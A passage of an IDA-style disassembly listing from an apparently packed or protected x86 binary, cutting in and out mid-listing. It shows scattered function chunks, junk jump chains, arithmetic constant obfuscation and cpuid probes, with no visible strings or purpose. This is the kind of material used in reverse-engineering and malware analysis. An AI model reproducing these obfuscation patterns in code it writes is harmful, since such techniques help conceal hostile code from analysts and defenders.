loc_42A1EA:				; CODE XREF: _7hdaygc1:loc_42F9C8j
		jnz	loc_423092


loc_42A1F0:				; CODE XREF: _7hdaygc1:0042A152j
		jmp	loc_4230DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_42A1F5:				; CODE XREF: sub_4291EA+9j
		jmp	loc_42C6E1
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
		push	3132317Ch
		ror	edi, 0Eh
		jmp	loc_42308B
; ---------------------------------------------------------------------------


loc_42A207:				; DATA XREF: sub_42E0C4-7943o
		add	eax, 5F43F0D0h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_42827D
		jmp	loc_42EE16
; ---------------------------------------------------------------------------


loc_42A21C:				; CODE XREF: _7hdaygc1:0042BFFDj
		pushf


loc_42A21D:				; CODE XREF: _7hdaygc1:0042BFEEj
		rol	edx, 1Dh
		xor	edx, 0CB3D1827h
		rol	edx, 0Bh
		add	edx, 366F2719h
		xchg	edx, [esp]
		jmp	loc_42923E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_134. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	ebp
		push	eax
		pop	ebp
		xchg	ebp, [esp]
		call	sub_428948
; START	OF FUNCTION CHUNK FOR sub_42C3E4


loc_42A243:				; CODE XREF: sub_42C3E4+7j
		jmp	loc_42B67E
; END OF FUNCTION CHUNK	FOR sub_42C3E4
; ---------------------------------------------------------------------------


loc_42A248:				; CODE XREF: _7hdaygc1:0042507Ej
		jmp	loc_42F729
; ---------------------------------------------------------------------------


loc_42A24D:				; CODE XREF: _7hdaygc1:00425377j
		mov	eax, 481AC4h
		call	sub_42AA07
		call	sub_423F02


loc_42A25C:				; CODE XREF: _7hdaygc1:loc_42CD49j
		test	al, al
		jz	loc_42CE05
		jmp	loc_427E3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E283


loc_42A269:				; CODE XREF: sub_42E283-21EBj
		or	edx, 0A7D9AD60h
		push	ebx


loc_42A270:				; CODE XREF: sub_42E283:loc_429AB5j
		call	sub_4290DB
		retn
; END OF FUNCTION CHUNK	FOR sub_42E283
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_42A276:				; CODE XREF: sub_42C16F-784Aj
		jmp	loc_42DCEE
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E283


loc_42A27B:				; CODE XREF: sub_42E283j
		xor	eax, eax
		jmp	loc_425883
; END OF FUNCTION CHUNK	FOR sub_42E283
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425492


loc_42A282:				; CODE XREF: sub_425492+1C16j
		jz	loc_423D9E
		jmp	loc_429669
; END OF FUNCTION CHUNK	FOR sub_425492
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428498


loc_42A28D:				; CODE XREF: sub_428498+35A6j
					; DATA XREF: sub_428F69+38CEo
		mov	ebp, esp
		add	esp, 0FFFFFFE4h
		push	edi
		push	0DE2649C6h
		xchg	esi, [esp+0]
		mov	edi, esi
		jmp	loc_429FE0
; END OF FUNCTION CHUNK	FOR sub_428498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42A2A2:				; CODE XREF: sub_42C443:loc_42C399j
		add	ebx, 0FAA21C62h
		xchg	ebx, [esp+0]
		jmp	sub_423D07
; END OF FUNCTION CHUNK	FOR sub_42C443
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_201. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42911B


loc_42A2B1:				; CODE XREF: sub_42911B:loc_424525j
		sub	ebx, 326204B9h
		cmp	ebx, 0C86291EDh
		jmp	loc_42B096
; END OF FUNCTION CHUNK	FOR sub_42911B
; ---------------------------------------------------------------------------
		test	ecx, ebx
		jmp	loc_428AF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_42A2C9:				; CODE XREF: sub_42C16F:loc_426157j
		push	158F143Dh
		pop	eax
		rol	eax, 1Eh
		or	eax, 0C5350FECh
		sub	eax, 3894BB9Eh
		add	eax, 48B12F0Eh
		jmp	loc_42591F
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------


loc_42A2E9:				; CODE XREF: _7hdaygc1:0042A4FFj
		xor	eax, 38D56A3Bh

; =============== S U B	R O U T	I N E =======================================



sub_42A2EF	proc near		; CODE XREF: _7hdaygc1:0042478Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423EA8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004248DA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004252A9 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00425CC6 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 004262E0 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00428711 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004294C0 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042A50C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042BB34 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042CBFC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042D707 SIZE 00000005 BYTES

		xchg	edx, [esp+8+var_8]
		pop	edx
		mov	edx, [ebp-4]
		jmp	loc_42D707
sub_42A2EF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xor	eax, [ebp-8]
		mov	byte ptr [eax],	5Bh
		call	sub_428C3B
		xor	eax, [ebp-8]


loc_42A309:				; CODE XREF: _7hdaygc1:00425859j
		inc	eax
		jmp	loc_42D090
; ---------------------------------------------------------------------------


loc_42A30F:				; CODE XREF: _7hdaygc1:loc_42C884j
		add	eax, 99BF2631h
		and	eax, 0F4DC366Eh
		add	eax, 0C4A7BD8Eh
		add	eax, ebp
		add	eax, 0A6C01E40h
		jmp	loc_42854A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EFBC


loc_42A32E:				; CODE XREF: sub_42EFBC:loc_423599j
		and	eax, 0C6F219AEh
		sub	eax, 0F0DFCFA0h
		rol	eax, 17h
		test	eax, 10h
		jmp	loc_42350C
; END OF FUNCTION CHUNK	FOR sub_42EFBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_42A348:				; CODE XREF: sub_423DFC:loc_42A705j
		push	offset loc_42F001
		jmp	loc_42F6CE
; END OF FUNCTION CHUNK	FOR sub_423DFC
; ---------------------------------------------------------------------------
		add	ecx, 89749833h
		jmp	sub_423CAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F62


loc_42A35D:				; CODE XREF: sub_424F62:loc_425A08j
		jz	loc_426F99
		jmp	loc_42D79D
; END OF FUNCTION CHUNK	FOR sub_424F62
; ---------------------------------------------------------------------------


loc_42A368:				; DATA XREF: sub_423F3E+4979o
		jnb	loc_42D728
		add	eax, [esp]
		adc	edx, [esp+4]
		add	esp, 8
		mov	eax, [eax]
		add	eax, [ebp-4]
		call	sub_4237DA
		jmp	loc_428F43
; ---------------------------------------------------------------------------


loc_42A387:				; DATA XREF: sub_42F8DB-2C6Fo
		add	[esi], eax
		xor	[esi], ebx
		add	[esi], ecx
		xor	[esi], edx
		jmp	loc_426F9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EBD6


loc_42A394:				; CODE XREF: sub_42EBD6-6DFj
		mov	eax, 1
		xor	edx, edx
		cpuid
		and	eax, 0FFFh
		jmp	loc_42E6F9
; END OF FUNCTION CHUNK	FOR sub_42EBD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C3B


loc_42A3A7:				; CODE XREF: sub_425C3B:loc_429C13j
					; DATA XREF: _7hdaygc1:004237FAo
		push	56F04757h
		pop	eax
		or	eax, 2BFB784Bh
		and	eax, 3FFD8420h
		xor	eax, 0BD0AD497h
		add	eax, ebp
		add	eax, 7D0C2F49h
		jmp	loc_423E43
; END OF FUNCTION CHUNK	FOR sub_425C3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D4B1


loc_42A3CC:				; CODE XREF: sub_42D4B1+10j
		mov	eax, [ebp+8]
		push	eax
		call	sub_4273E3
; END OF FUNCTION CHUNK	FOR sub_42D4B1
; START	OF FUNCTION CHUNK FOR sub_425F27


loc_42A3D5:				; CODE XREF: sub_425F27:loc_423168j
		mov	edi, eax
		sub	edx, 4B3ED65Bh
		jbe	loc_4255ED
		xchg	ecx, esi
		jno	loc_42A1C5
		jmp	loc_428E17
; END OF FUNCTION CHUNK	FOR sub_425F27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4272CF


loc_42A3F0:				; CODE XREF: sub_4272CF+6j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4272CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423410


loc_42A3F2:				; CODE XREF: sub_423410+1BF2j
		jmp	loc_42489A
; END OF FUNCTION CHUNK	FOR sub_423410

; =============== S U B	R O U T	I N E =======================================



sub_42A3F7	proc near		; CODE XREF: sub_42BAE7-7F1Bp
					; sub_42581B:loc_424814p ...
		push	offset sub_42B01E
		jmp	nullsub_31
sub_42A3F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A401	proc near		; DATA XREF: sub_4237DA+A14Bo

; FUNCTION CHUNK AT 0042D128 SIZE 00000005 BYTES

		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0
		jnz	loc_42D74C


loc_42A40D:				; CODE XREF: _7hdaygc1:004270ADj
		mov	eax, [ebp-4]
		mov	[ebp-0Ch], eax
		shl	dword ptr [ebp-8], 8
		jmp	loc_42D128
sub_42A401	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42616B


loc_42A41C:				; CODE XREF: sub_42616B:loc_426658j
		jz	loc_42435C
		jmp	loc_4255E1
; END OF FUNCTION CHUNK	FOR sub_42616B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426130


loc_42A427:				; CODE XREF: sub_426130:loc_4286D9j
		or	ebx, ds:4000F6h
		cmp	ebx, 0A8C6810Dh
		jmp	loc_42D8E4
; END OF FUNCTION CHUNK	FOR sub_426130
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42524F


loc_42A438:				; CODE XREF: sub_42524F:loc_42907Cj
		pop	eax


loc_42A439:				; CODE XREF: _7hdaygc1:0042CBDCj
		rol	eax, 0Ch
		sub	eax, 88898D49h
		add	eax, 0A58E9D92h
		jmp	loc_4236D6
; END OF FUNCTION CHUNK	FOR sub_42524F
; ---------------------------------------------------------------------------
		sub	ebp, eax
		jmp	loc_42C601
; ---------------------------------------------------------------------------


loc_42A454:				; DATA XREF: sub_42ED2A-30Bo
		mov	byte ptr [eax],	0
		push	offset loc_425835
		jmp	loc_427D0C
; ---------------------------------------------------------------------------


loc_42A461:				; CODE XREF: _7hdaygc1:0042924Aj
		pop	ebp

; =============== S U B	R O U T	I N E =======================================



sub_42A462	proc near		; CODE XREF: sub_42A92E+92Dp

; FUNCTION CHUNK AT 0042E783 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042F79B SIZE 0000001A BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	edx, eax
		jmp	loc_42F79B
sub_42A462	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_70. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425360


loc_42A46E:				; CODE XREF: sub_425360+Aj
		jmp	loc_429FF8
; END OF FUNCTION CHUNK	FOR sub_425360

; =============== S U B	R O U T	I N E =======================================



sub_42A473	proc near		; CODE XREF: _7hdaygc1:004232FFj
					; sub_42C50D:loc_425D16p
		xchg	edx, [esp+0]
		pop	edx
		mov	ds:dword_42E188, eax
		retn
sub_42A473	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A052


loc_42A47E:				; CODE XREF: sub_42A052:loc_42B96Fj
					; sub_42C50D-8E3j
		call	sub_425D3F
; END OF FUNCTION CHUNK	FOR sub_42A052
; START	OF FUNCTION CHUNK FOR sub_42DB44


loc_42A483:				; CODE XREF: sub_42DB44+1Cj
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		cpuid
		add	[esi], eax
		xor	[esi], ebx
		jmp	loc_42495E
; END OF FUNCTION CHUNK	FOR sub_42DB44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F8C4


loc_42A494:				; CODE XREF: sub_42F8C4-8C89j
		pop	ecx
		cmp	dword ptr [ebp-8], 0
		jbe	loc_424FD0
		jmp	loc_42977C
; END OF FUNCTION CHUNK	FOR sub_42F8C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429318


loc_42A4A4:				; CODE XREF: sub_429318:loc_42F053j
		jg	loc_42AFBF
		jmp	loc_429F00
; END OF FUNCTION CHUNK	FOR sub_429318
; ---------------------------------------------------------------------------

locret_42A4AF:				; CODE XREF: _7hdaygc1:loc_42FCA1j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427CC6


loc_42A4B0:				; CODE XREF: sub_427CC6+612Aj
		jmp	nullsub_72
; END OF FUNCTION CHUNK	FOR sub_427CC6
; ---------------------------------------------------------------------------
		db 0Fh,	8Ah, 0DCh
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EBD6


loc_42A4BB:				; CODE XREF: sub_42EBD6:loc_42E4E6j
		jmp	loc_42BACF
; END OF FUNCTION CHUNK	FOR sub_42EBD6
; ---------------------------------------------------------------------------


loc_42A4C0:				; CODE XREF: _7hdaygc1:0042F567j
		xchg	edx, [edi]

; =============== S U B	R O U T	I N E =======================================



sub_42A4C2	proc near		; CODE XREF: sub_42D002:loc_4283FFp

; FUNCTION CHUNK AT 00423603 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	eax, 0C9A10329h
		add	eax, ebp
		add	eax, 0F9CFCC4h
		push	offset loc_4233B0
		jmp	loc_423603
sub_42A4C2	endp

; ---------------------------------------------------------------------------
		push	edx
		mov	edx, edi
		xchg	edx, [esp]


loc_42A4E4:				; CODE XREF: _7hdaygc1:loc_42EFCFj
		mov	edi, eax
		xchg	edi, [esp]
		ror	eax, 8
		jmp	loc_42F7F3

; =============== S U B	R O U T	I N E =======================================



sub_42A4F1	proc near		; CODE XREF: sub_42FD2Aj

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00424ED3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004251E8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00425AC0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00426386 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042827D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004299F4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A048 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B3B3 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042DA96 SIZE 00000005 BYTES

		push	ebp
		jmp	loc_42B3B3
sub_42A4F1	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_148. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C48C


loc_42A4F8:				; CODE XREF: sub_42C48C-13B5j
					; _7hdaygc1:loc_42E638j
		jmp	loc_42E238
; END OF FUNCTION CHUNK	FOR sub_42C48C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_200. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		pop	ebx
		jmp	loc_42A2E9
; ---------------------------------------------------------------------------

locret_42A504:				; CODE XREF: _7hdaygc1:loc_42F9A0j
		retn
; ---------------------------------------------------------------------------
		xchg	esi, edi
		jmp	sub_423DDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A2EF


loc_42A50C:				; CODE XREF: sub_42A2EF:loc_4248DAj
		mov	ecx, [ebp-30h]
		push	esi
		push	0D0BFAA41h
		pop	esi
		or	esi, 7401839Bh
		jnz	loc_4297FA


loc_42A522:				; CODE XREF: sub_424755+953Dj
		jmp	loc_42CBFC
; END OF FUNCTION CHUNK	FOR sub_42A2EF
; ---------------------------------------------------------------------------


loc_42A527:				; CODE XREF: _7hdaygc1:00424DD4j
		jmp	loc_42804B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA07


loc_42A52C:				; CODE XREF: sub_42AA07-47CFj
		add	edx, 84F7A48Bh
		mov	[edx], eax
		pop	edx
		mov	eax, [ebp-4]
		jmp	loc_425423
; END OF FUNCTION CHUNK	FOR sub_42AA07
; ---------------------------------------------------------------------------
		sbb	edi, ebx
		jmp	sub_42A17C
; ---------------------------------------------------------------------------
		cmp	edi, 0C61206A3h
		jmp	loc_427001
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_42A54F:				; CODE XREF: sub_425E64+1438j
					; sub_425E64:loc_42EB02j
		mov	eax, [ebp-4]
		xor	edx, edx
		push	esi
		mov	esi, edx
		xchg	esi, [esp+0]
		jmp	sub_42A6C3
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_428E3C
; ---------------------------------------------------------------------------


loc_42A565:				; DATA XREF: sub_424680:loc_4244B0o
		cmp	dword ptr [ebp-38h], 3FFFh
		jle	loc_42D225
		jmp	loc_42932E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_215. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42A578:				; CODE XREF: _7hdaygc1:loc_42C19Aj
		jmp	loc_42FBD1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BE29


loc_42A57D:				; CODE XREF: sub_42BE29+10j
		lea	eax, [ebp-0Ch]
		push	6F76FE58h
		xchg	ebp, [esp+4+var_4]
		mov	ecx, ebp
		pop	ebp
		rol	ecx, 1Dh
		jmp	loc_42CEF1
; END OF FUNCTION CHUNK	FOR sub_42BE29
; ---------------------------------------------------------------------------


loc_42A593:				; CODE XREF: _7hdaygc1:0042EF65j
		jge	loc_42F142
; START	OF FUNCTION CHUNK FOR sub_4253A0


loc_42A599:				; CODE XREF: sub_4253A0:loc_428F3Dj
		or	edi, 72C73209h
		sub	edi, 7C584C33h
		add	edi, 88A37278h
		push	offset loc_4257C5
		jmp	loc_42BC68
; END OF FUNCTION CHUNK	FOR sub_4253A0
; ---------------------------------------------------------------------------


loc_42A5B5:				; CODE XREF: _7hdaygc1:0042DEC8j
		push	0A71EE945h
		pop	edx
		and	edx, 0FD901AF7h
		or	edx, 0A90A3216h
		add	edx, 5327FEC8h
		jmp	loc_42A10A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F1C6


loc_42A5D2:				; CODE XREF: sub_42F1C6:loc_429352j
		jz	loc_42A5DD
		jmp	loc_42D474
; ---------------------------------------------------------------------------


loc_42A5DD:				; CODE XREF: sub_42F1C6:loc_42A5D2j
					; _7hdaygc1:0042CECFj
		jnz	loc_426BB0
		mov	eax, [ebp-4]
		call	sub_427186
		jmp	loc_42E200
; END OF FUNCTION CHUNK	FOR sub_42F1C6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_119. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DAD9


loc_42A5F1:				; CODE XREF: sub_42DAD9-44E7j
		jmp	loc_42F40D
; END OF FUNCTION CHUNK	FOR sub_42DAD9
; ---------------------------------------------------------------------------


loc_42A5F6:				; CODE XREF: _7hdaygc1:0042AD41j
		jle	loc_42B2C2
		test	ecx, 0E2580985h
		jmp	loc_42C9B6

; =============== S U B	R O U T	I N E =======================================



sub_42A607	proc near		; CODE XREF: _7hdaygc1:00426551j
					; sub_42EF91+A21p

; FUNCTION CHUNK AT 0042A126 SIZE 00000008 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	ecx, 0B5F28481h
		popf
		jmp	loc_42A126
sub_42A607	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B265


loc_42A617:				; CODE XREF: sub_42B265-6DD8j
		add	ebx, ebp
		add	ebx, 92456BAFh
		call	sub_42CD1F


loc_42A624:				; CODE XREF: _7hdaygc1:004242F5j
		pop	edi
		jmp	loc_4293BA
; END OF FUNCTION CHUNK	FOR sub_42B265
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_214. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EA6A


loc_42A62B:				; CODE XREF: sub_42EA6A-562j
		jmp	loc_42842F
; END OF FUNCTION CHUNK	FOR sub_42EA6A
; ---------------------------------------------------------------------------


loc_42A630:				; CODE XREF: _7hdaygc1:0042B901j
		jmp	loc_42D6DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F05E


loc_42A635:				; CODE XREF: sub_42F05E-7C3Bj
		cmp	dword ptr [ebp-10h], 1
		call	sub_4246D7


loc_42A63E:				; CODE XREF: _7hdaygc1:0042FAE2j
		pop	ebp
		jmp	loc_42E572
; END OF FUNCTION CHUNK	FOR sub_42F05E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED2A


loc_42A644:				; CODE XREF: sub_42ED2A-BC6Dj
		mov	eax, [ebp-8]
		mov	byte ptr [eax],	0
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42ED2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4273CA


loc_42A64E:				; CODE XREF: sub_4273CA+80CEj
		jmp	loc_425388
; END OF FUNCTION CHUNK	FOR sub_4273CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA9B


loc_42A653:				; CODE XREF: sub_42AA9B+282Cj
		jmp	nullsub_57
; END OF FUNCTION CHUNK	FOR sub_42AA9B
; ---------------------------------------------------------------------------


loc_42A658:				; CODE XREF: _7hdaygc1:00424020j
		jmp	loc_42B41D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED2A


loc_42A65D:				; CODE XREF: sub_42ED2A:loc_4230ABj
		mov	eax, [ebp-4]
		jmp	loc_4297C4
; END OF FUNCTION CHUNK	FOR sub_42ED2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B907


loc_42A665:				; CODE XREF: sub_42B907:loc_42B695j
		pop	ebp
		jmp	loc_428230
; END OF FUNCTION CHUNK	FOR sub_42B907
; ---------------------------------------------------------------------------
		pop	edi
		jmp	loc_42FD62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D84A


loc_42A671:				; CODE XREF: sub_42D84A-5523j
		xor	ebx, 78F0A56Fh
		push	0D2E6B92h


loc_42A67C:				; CODE XREF: _7hdaygc1:loc_4288C1j
		jmp	loc_42C8AE
; END OF FUNCTION CHUNK	FOR sub_42D84A
; ---------------------------------------------------------------------------
		shl	edi, 0Ah
		jmp	sub_425D3F
; ---------------------------------------------------------------------------
		rol	esi, 16h
		jmp	sub_42E51C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4269CB


loc_42A691:				; CODE XREF: sub_4269CB-846j
		sub	edi, ebp
; END OF FUNCTION CHUNK	FOR sub_4269CB

; =============== S U B	R O U T	I N E =======================================



sub_42A693	proc near		; CODE XREF: sub_42EBFB+Ap

; FUNCTION CHUNK AT 0042CDD3 SIZE 00000001 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		and	eax, esi
		jmp	loc_42CDD3
sub_42A693	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42A69E:				; CODE XREF: _7hdaygc1:loc_4286A2j
		add	edx, edi
		rol	edx, 5
		push	offset sub_42F979
		jmp	loc_424930
; ---------------------------------------------------------------------------


loc_42A6AD:				; CODE XREF: _7hdaygc1:0042E8F8j
					; DATA XREF: sub_42D5F1:loc_42456Ao
		xor	[ebp-8], eax
		mov	eax, [ebp-8]
		jmp	loc_42DC9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D245


loc_42A6B8:				; CODE XREF: sub_42D245:loc_42D24Dj
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0
		jmp	loc_429B19
; END OF FUNCTION CHUNK	FOR sub_42D245

; =============== S U B	R O U T	I N E =======================================



sub_42A6C3	proc near		; CODE XREF: sub_425E64+46F6j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004263B7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004267CF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00426F78 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428A58 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DE95 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E2B1 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042EB6D SIZE 00000012 BYTES

		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp+4+var_4]
		push	9F5E16ECh
		jmp	loc_428A58
sub_42A6C3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C26B


loc_42A6D3:				; CODE XREF: sub_42C26B-8627j
		add	esp, 8
		xor	eax, [esp-8+arg_4]
		xor	edx, [esp-8+arg_8]
		add	esp, 8
		and	eax, 0FFh
		xor	edx, edx
		mov	edx, ds:dword_42BC60
		jmp	loc_426BE7
; END OF FUNCTION CHUNK	FOR sub_42C26B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F62


loc_42A6F3:				; CODE XREF: sub_424F62+7FD9j
		xor	[esi], ebx
		add	[esi], edx
		xor	[esi], ecx
		push	esi
		jmp	loc_429F2F
; END OF FUNCTION CHUNK	FOR sub_424F62
; ---------------------------------------------------------------------------


loc_42A6FF:				; CODE XREF: _7hdaygc1:loc_42DBF1j
		jz	loc_42BBE8
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_42A705:				; CODE XREF: sub_423DFC:loc_426A10j
		jmp	loc_42A348
; END OF FUNCTION CHUNK	FOR sub_423DFC
; ---------------------------------------------------------------------------
		add	ebx, 0D693C0BCh
		and	eax, 30F0589Dh
		or	ebx, 0B3A19F59h
		jmp	loc_42BBE6
; ---------------------------------------------------------------------------


loc_42A721:				; CODE XREF: _7hdaygc1:loc_42E1B8j
		xor	eax, 1BB02768h
		add	eax, ebp
		add	eax, 0F0FC9E49h
; START	OF FUNCTION CHUNK FOR sub_424CE0


loc_42A72F:				; CODE XREF: sub_424CE0+5288j
		push	98A40EC7h
		jmp	loc_42AE4A
; END OF FUNCTION CHUNK	FOR sub_424CE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F8C4


loc_42A739:				; CODE XREF: sub_42F8C4:loc_42C87Ej
		add	edi, ebp
		call	sub_42DE6F
; END OF FUNCTION CHUNK	FOR sub_42F8C4
; START	OF FUNCTION CHUNK FOR sub_42C6FB


loc_42A740:				; CODE XREF: sub_42C6FB-8BAEj
		jmp	loc_425AAF
; END OF FUNCTION CHUNK	FOR sub_42C6FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424E9C


loc_42A745:				; CODE XREF: sub_424E9C:loc_42BA5Aj
		jg	loc_4244B0
		jmp	loc_426E56
; END OF FUNCTION CHUNK	FOR sub_424E9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F65A


loc_42A750:				; CODE XREF: sub_42F65A-D82j
		jp	loc_428B78
		jnz	loc_424A4B
		and	esi, 961F3662h


loc_42A762:				; CODE XREF: _7hdaygc1:loc_42FB7Ej
		adc	ecx, ebp


loc_42A764:				; CODE XREF: sub_42F65A:loc_429BFCj
		push	0B0BB42A9h
		pop	eax
		xor	eax, 8208C1CCh
		jmp	loc_42D061
; END OF FUNCTION CHUNK	FOR sub_42F65A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E51C


loc_42A775:				; CODE XREF: sub_42E51C-1E62j
		call	sub_42A104
		pop	ecx
		mov	[ebp-20h], eax
; END OF FUNCTION CHUNK	FOR sub_42E51C
; START	OF FUNCTION CHUNK FOR sub_42C6A0


loc_42A77E:				; CODE XREF: sub_42C6A0:loc_423CC7j
					; sub_42E51C-1E6Cj ...
		mov	eax, [ebp-20h]
		jmp	loc_42A0F2
; END OF FUNCTION CHUNK	FOR sub_42C6A0
; ---------------------------------------------------------------------------

locret_42A786:				; CODE XREF: _7hdaygc1:loc_42DBD6j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F65A


loc_42A787:				; CODE XREF: sub_42F65A-2DB1j
		jmp	loc_4248FC
; END OF FUNCTION CHUNK	FOR sub_42F65A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA47


loc_42A78C:				; CODE XREF: sub_42AA47+Ej
